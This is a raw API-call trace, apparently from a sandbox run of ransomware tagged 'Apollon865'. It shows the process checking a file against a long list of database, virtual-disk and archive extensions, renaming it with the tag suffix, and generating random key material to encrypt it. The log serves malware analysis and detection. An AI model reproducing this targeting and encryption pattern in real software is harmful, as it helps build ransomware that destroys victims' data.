	[0086.215] lstrcpyW (in: lpString1=0x119e652, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0086.215] lstrlenW (lpString="desktop.ini") returned 11
	[0086.215] lstrlenW (lpString="Apollon865") returned 10
	[0086.215] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0086.215] lstrlenW (lpString=".dll") returned 4
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0086.215] lstrlenW (lpString=".lnk") returned 4
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0086.215] lstrlenW (lpString=".ini") returned 4
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0086.215] lstrlenW (lpString=".sys") returned 4
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0086.215] lstrlenW (lpString="desktop.ini") returned 11
	[0086.215] lstrlenW (lpString="bak") returned 3
	[0086.216] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0086.216] lstrlenW (lpString="ba_") returned 3
	[0086.216] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0086.216] lstrlenW (lpString="dbb") returned 3
	[0086.216] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0086.216] lstrlenW (lpString="vmdk") returned 4
	[0086.216] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0086.216] lstrlenW (lpString="rar") returned 3
	[0086.216] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0086.216] lstrlenW (lpString="zip") returned 3
	[0086.216] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0086.216] lstrlenW (lpString="tgz") returned 3
	[0086.216] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0086.216] lstrlenW (lpString="vbox") returned 4
	[0086.216] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0086.216] lstrlenW (lpString="vdi") returned 3
	[0086.216] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0086.216] lstrlenW (lpString="vhd") returned 3
	[0086.216] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0086.216] lstrlenW (lpString="vhdx") returned 4
	[0086.216] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0086.216] lstrlenW (lpString="avhd") returned 4
	[0086.216] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0086.216] lstrlenW (lpString="db") returned 2
	[0086.216] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0086.216] lstrlenW (lpString="db2") returned 3
	[0086.216] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0086.216] lstrlenW (lpString="db3") returned 3
	[0086.216] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0086.217] lstrlenW (lpString="dbf") returned 3
	[0086.217] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0086.217] lstrlenW (lpString="mdf") returned 3
	[0086.217] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0086.217] lstrlenW (lpString="mdb") returned 3
	[0086.217] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0086.217] lstrlenW (lpString="sql") returned 3
	[0086.217] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0086.217] lstrlenW (lpString="sqlite") returned 6
	[0086.217] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0086.217] lstrlenW (lpString="sqlite3") returned 7
	[0086.217] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0086.217] lstrlenW (lpString="sqlitedb") returned 8
	[0086.217] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0086.217] lstrlenW (lpString="xml") returned 3
	[0086.217] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0086.217] lstrlenW (lpString="$er") returned 3
	[0086.217] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0086.217] lstrlenW (lpString="4dd") returned 3
	[0086.217] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0086.217] lstrlenW (lpString="4dl") returned 3
	[0086.217] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0086.217] lstrlenW (lpString="^^^") returned 3
	[0086.217] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0086.217] lstrlenW (lpString="abs") returned 3
	[0086.217] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0086.217] lstrlenW (lpString="abx") returned 3
	[0086.217] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0086.218] lstrlenW (lpString="accdb") returned 5
	[0086.218] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0086.218] lstrlenW (lpString="accdc") returned 5
	[0086.218] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0086.218] lstrlenW (lpString="accde") returned 5
	[0086.218] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0086.218] lstrlenW (lpString="accdr") returned 5
	[0086.218] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0086.218] lstrlenW (lpString="accdt") returned 5
	[0086.218] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0086.218] lstrlenW (lpString="accdw") returned 5
	[0086.218] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0086.218] lstrlenW (lpString="accft") returned 5
	[0086.218] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0086.218] lstrlenW (lpString="adb") returned 3
	[0086.218] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0086.218] lstrlenW (lpString="adb") returned 3
	[0086.218] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0086.218] lstrlenW (lpString="ade") returned 3
	[0086.218] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0086.218] lstrlenW (lpString="adf") returned 3
	[0086.218] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0086.218] lstrlenW (lpString="adn") returned 3
	[0086.218] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0086.218] lstrlenW (lpString="adp") returned 3
	[0086.218] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0086.218] lstrlenW (lpString="alf") returned 3
	[0086.218] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0086.218] lstrlenW (lpString="ask") returned 3
	[0086.219] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0086.219] lstrlenW (lpString="btr") returned 3
	[0086.219] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0086.219] lstrlenW (lpString="cat") returned 3
	[0086.219] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0086.219] lstrlenW (lpString="cdb") returned 3
	[0086.219] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0086.219] lstrlenW (lpString="ckp") returned 3
	[0086.219] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0086.219] lstrlenW (lpString="cma") returned 3
	[0086.219] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0086.219] lstrlenW (lpString="cpd") returned 3
	[0086.219] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0086.219] lstrlenW (lpString="dacpac") returned 6
	[0086.219] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0086.219] lstrlenW (lpString="dad") returned 3
	[0086.219] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0086.219] lstrlenW (lpString="dadiagrams") returned 10
	[0086.219] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0086.219] lstrlenW (lpString="daschema") returned 8
	[0086.219] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0086.219] lstrlenW (lpString="db-journal") returned 10
	[0086.219] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0086.219] lstrlenW (lpString="db-shm") returned 6
	[0086.219] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0086.219] lstrlenW (lpString="db-wal") returned 6
	[0086.219] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0086.219] lstrlenW (lpString="dbc") returned 3
	[0086.220] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0086.220] lstrlenW (lpString="dbs") returned 3
	[0086.220] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0086.220] lstrlenW (lpString="dbt") returned 3
	[0086.220] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0086.220] lstrlenW (lpString="dbv") returned 3
	[0086.220] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0086.220] lstrlenW (lpString="dbx") returned 3
	[0086.220] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0086.220] lstrlenW (lpString="dcb") returned 3
	[0086.220] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0086.220] lstrlenW (lpString="dct") returned 3
	[0086.220] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0086.220] lstrlenW (lpString="dcx") returned 3
	[0086.220] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0086.220] lstrlenW (lpString="ddl") returned 3
	[0086.220] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0086.220] lstrlenW (lpString="dlis") returned 4
	[0086.220] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0086.220] lstrlenW (lpString="dp1") returned 3
	[0086.220] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0086.220] lstrlenW (lpString="dqy") returned 3
	[0086.220] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0086.220] lstrlenW (lpString="dsk") returned 3
	[0086.220] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0086.220] lstrlenW (lpString="dsn") returned 3
	[0086.220] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0086.220] lstrlenW (lpString="dtsx") returned 4
	[0086.220] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0086.221] lstrlenW (lpString="dxl") returned 3
	[0086.221] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0086.221] lstrlenW (lpString="eco") returned 3
	[0086.221] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0086.221] lstrlenW (lpString="ecx") returned 3
	[0086.221] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0086.221] lstrlenW (lpString="edb") returned 3
	[0086.221] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0086.221] lstrlenW (lpString="epim") returned 4
	[0086.221] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0086.221] lstrlenW (lpString="fcd") returned 3
	[0086.221] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0086.221] lstrlenW (lpString="fdb") returned 3
	[0086.221] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0086.221] lstrlenW (lpString="fic") returned 3
	[0086.221] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0086.221] lstrlenW (lpString="flexolibrary") returned 12
	[0086.221] lstrlenW (lpString="fm5") returned 3
	[0086.221] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0086.221] lstrlenW (lpString="fmp") returned 3
	[0086.221] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0086.221] lstrlenW (lpString="fmp12") returned 5
	[0086.221] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0086.221] lstrlenW (lpString="fmpsl") returned 5
	[0086.221] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0086.221] lstrlenW (lpString="fol") returned 3
	[0086.221] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0086.221] lstrlenW (lpString="fp3") returned 3
	[0086.222] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0086.222] lstrlenW (lpString="fp4") returned 3
	[0086.222] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0086.222] lstrlenW (lpString="fp5") returned 3
	[0086.222] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0086.222] lstrlenW (lpString="fp7") returned 3
	[0086.222] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0086.222] lstrlenW (lpString="fpt") returned 3
	[0086.222] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0086.222] lstrlenW (lpString="frm") returned 3
	[0086.222] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0086.222] lstrlenW (lpString="gdb") returned 3
	[0086.222] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0086.222] lstrlenW (lpString="gdb") returned 3
	[0086.222] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0086.222] lstrlenW (lpString="grdb") returned 4
	[0086.222] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0086.222] lstrlenW (lpString="gwi") returned 3
	[0086.222] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0086.222] lstrlenW (lpString="hdb") returned 3
	[0086.222] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0086.223] lstrlenW (lpString="his") returned 3
	[0086.223] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0086.223] lstrlenW (lpString="ib") returned 2
	[0086.223] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0086.223] lstrlenW (lpString="idb") returned 3
	[0086.223] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0086.223] lstrlenW (lpString="ihx") returned 3
	[0086.223] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0086.223] lstrlenW (lpString="itdb") returned 4
	[0086.223] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0086.223] lstrlenW (lpString="itw") returned 3
	[0086.223] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0086.223] lstrlenW (lpString="jet") returned 3
	[0086.223] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0086.223] lstrlenW (lpString="jtx") returned 3
	[0086.223] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0086.223] lstrlenW (lpString="kdb") returned 3
	[0086.223] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0086.223] lstrlenW (lpString="kexi") returned 4
	[0086.223] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0086.223] lstrlenW (lpString="kexic") returned 5
	[0086.223] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0086.223] lstrlenW (lpString="kexis") returned 5
	[0086.223] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0086.223] lstrlenW (lpString="lgc") returned 3
	[0086.223] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0086.223] lstrlenW (lpString="lwx") returned 3
	[0086.223] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0086.223] lstrlenW (lpString="maf") returned 3
	[0086.224] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0086.224] lstrlenW (lpString="maq") returned 3
	[0086.224] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0086.224] lstrlenW (lpString="mar") returned 3
	[0086.224] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0086.224] lstrlenW (lpString="marshal") returned 7
	[0086.224] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0086.224] lstrlenW (lpString="mas") returned 3
	[0086.224] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0086.224] lstrlenW (lpString="mav") returned 3
	[0086.224] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0086.224] lstrlenW (lpString="maw") returned 3
	[0086.224] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0086.224] lstrlenW (lpString="mdbhtml") returned 7
	[0086.224] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0086.224] lstrlenW (lpString="mdn") returned 3
	[0086.224] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0086.224] lstrlenW (lpString="mdt") returned 3
	[0086.224] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0086.224] lstrlenW (lpString="mfd") returned 3
	[0086.224] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0086.224] lstrlenW (lpString="mpd") returned 3
	[0086.224] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0086.224] lstrlenW (lpString="mrg") returned 3
	[0086.224] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0086.224] lstrlenW (lpString="mud") returned 3
	[0086.224] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0086.224] lstrlenW (lpString="mwb") returned 3
	[0086.225] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0086.225] lstrlenW (lpString="myd") returned 3
	[0086.225] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0086.225] lstrlenW (lpString="ndf") returned 3
	[0086.225] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0086.225] lstrlenW (lpString="nnt") returned 3
	[0086.225] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0086.225] lstrlenW (lpString="nrmlib") returned 6
	[0086.225] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0086.225] lstrlenW (lpString="ns2") returned 3
	[0086.225] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0086.225] lstrlenW (lpString="ns3") returned 3
	[0086.225] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0086.225] lstrlenW (lpString="ns4") returned 3
	[0086.225] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0086.225] lstrlenW (lpString="nsf") returned 3
	[0086.225] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0086.225] lstrlenW (lpString="nv") returned 2
	[0086.225] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0086.225] lstrlenW (lpString="nv2") returned 3
	[0086.225] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0086.225] lstrlenW (lpString="nwdb") returned 4
	[0086.225] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0086.225] lstrlenW (lpString="nyf") returned 3
	[0086.225] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0086.225] lstrlenW (lpString="odb") returned 3
	[0086.225] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0086.225] lstrlenW (lpString="odb") returned 3
	[0086.225] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0086.226] lstrlenW (lpString="oqy") returned 3
	[0086.226] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0086.226] lstrlenW (lpString="ora") returned 3
	[0086.226] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0086.226] lstrlenW (lpString="orx") returned 3
	[0086.226] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0086.226] lstrlenW (lpString="owc") returned 3
	[0086.226] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0086.226] lstrlenW (lpString="p96") returned 3
	[0086.226] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0086.226] lstrlenW (lpString="p97") returned 3
	[0086.226] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0086.226] lstrlenW (lpString="pan") returned 3
	[0086.226] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0086.226] lstrlenW (lpString="pdb") returned 3
	[0086.226] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0086.226] lstrlenW (lpString="pdm") returned 3
	[0086.226] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0086.226] lstrlenW (lpString="pnz") returned 3
	[0086.226] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0086.226] lstrlenW (lpString="qry") returned 3
	[0086.226] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0086.226] lstrlenW (lpString="qvd") returned 3
	[0086.226] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0086.226] lstrlenW (lpString="rbf") returned 3
	[0086.226] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0086.226] lstrlenW (lpString="rctd") returned 4
	[0086.226] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0086.227] lstrlenW (lpString="rod") returned 3
	[0086.227] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0086.227] lstrlenW (lpString="rodx") returned 4
	[0086.227] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0086.227] lstrlenW (lpString="rpd") returned 3
	[0086.227] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0086.227] lstrlenW (lpString="rsd") returned 3
	[0086.227] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0086.227] lstrlenW (lpString="sas7bdat") returned 8
	[0086.227] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0086.227] lstrlenW (lpString="sbf") returned 3
	[0086.227] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0086.227] lstrlenW (lpString="scx") returned 3
	[0086.227] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0086.227] lstrlenW (lpString="sdb") returned 3
	[0086.227] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0086.227] lstrlenW (lpString="sdc") returned 3
	[0086.227] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0086.227] lstrlenW (lpString="sdf") returned 3
	[0086.227] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0086.227] lstrlenW (lpString="sis") returned 3
	[0086.227] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0086.227] lstrlenW (lpString="spq") returned 3
	[0086.227] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0086.227] lstrlenW (lpString="te") returned 2
	[0086.227] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0086.227] lstrlenW (lpString="teacher") returned 7
	[0086.227] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0086.227] lstrlenW (lpString="tmd") returned 3
	[0086.228] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0086.228] lstrlenW (lpString="tps") returned 3
	[0086.228] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0086.228] lstrlenW (lpString="trc") returned 3
	[0086.228] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0086.228] lstrlenW (lpString="trc") returned 3
	[0086.228] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0086.228] lstrlenW (lpString="trm") returned 3
	[0086.228] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0086.228] lstrlenW (lpString="udb") returned 3
	[0086.228] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0086.228] lstrlenW (lpString="udl") returned 3
	[0086.228] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0086.228] lstrlenW (lpString="usr") returned 3
	[0086.228] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0086.228] lstrlenW (lpString="v12") returned 3
	[0086.228] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0086.228] lstrlenW (lpString="vis") returned 3
	[0086.228] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0086.228] lstrlenW (lpString="vpd") returned 3
	[0086.228] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0086.228] lstrlenW (lpString="vvv") returned 3
	[0086.228] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0086.228] lstrlenW (lpString="wdb") returned 3
	[0086.228] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0086.228] lstrlenW (lpString="wmdb") returned 4
	[0086.228] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0086.228] lstrlenW (lpString="wrk") returned 3
	[0086.228] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0086.229] lstrlenW (lpString="xdb") returned 3
	[0086.229] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0086.229] lstrlenW (lpString="xld") returned 3
	[0086.229] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0086.229] lstrlenW (lpString="xmlff") returned 5
	[0086.229] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0086.229] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini.Apollon865") returned 59
	[0086.229] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0086.231] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.231] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=504) returned 1
	[0086.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.231] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.232] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.232] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.233] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x15c
	[0086.234] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000
	[0086.234] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.235] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.235] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.235] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.235] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.235] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.235] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.235] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.235] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.235] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.236] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.236] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.236] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.236] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.236] CloseHandle (hObject=0x15c) returned 1
	[0086.236] CloseHandle (hObject=0x9c) returned 1
	[0086.237] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.237] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.237] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
